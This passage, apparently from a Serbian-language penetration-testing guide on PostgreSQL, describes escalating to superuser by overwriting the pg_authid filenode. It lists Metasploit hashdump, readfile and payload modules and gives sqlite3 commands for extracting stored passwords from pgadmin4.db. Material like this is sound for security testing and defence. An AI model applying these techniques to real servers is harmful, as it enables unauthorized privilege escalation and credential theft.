{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### Povećanje privilegija pisanjem preko internih PostgreSQL tabela
{% hint style="info" %}
Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe
{% endhint %}
Ako možete **čitati i pisati fajlove servera PostgreSQL-a**, možete **postati superkorisnik** pisanjem preko PostgreSQL on-disk filenode-a, koji je povezan sa internom tabelom `pg_authid`.
Pročitajte više o **ovoj tehnici** [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
Koraci napada su:
1. Dobijanje PostgreSQL direktorijuma sa podacima
2. Dobijanje relativne putanje do filenode-a, povezanog sa tabelom `pg_authid`
3. Preuzimanje filenode-a kroz funkcije `lo_*`
4. Dobijanje tipa podataka, povezanog sa tabelom `pg_authid`
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja.
6. Ponovo otpremite uređeni filenode putem funkcija `lo_*`, i prepišite originalni fajl na disku
7. _(Po želji)_ Očistite keširanu tabelu u memoriji pokretanjem skupog SQL upita
8. Sada biste trebali imati privilegije potpunog superadmina.
## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### beleženje
Unutar fajla _**postgresql.conf**_ možete omogućiti postgresql zapise menjanjem:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql//main/log/
#or in /var/lib/postgresql//main/pg_log/
```
Zatim, **ponovo pokrenite servis**.
### pgadmin
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baza podataka.\
Možete pronaći **šifre** unutar datoteke _**pgadmin4.db**_\
Možete ih dešifrovati koristeći funkciju _**decrypt**_ unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl koji se zove **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje konekcija. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervna opcija ili bekapanje ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
Dostupni metodi autentikacije zasnovani na lozinkama u pg\_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširanje, kriptovano šifrovanje ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg\_authid.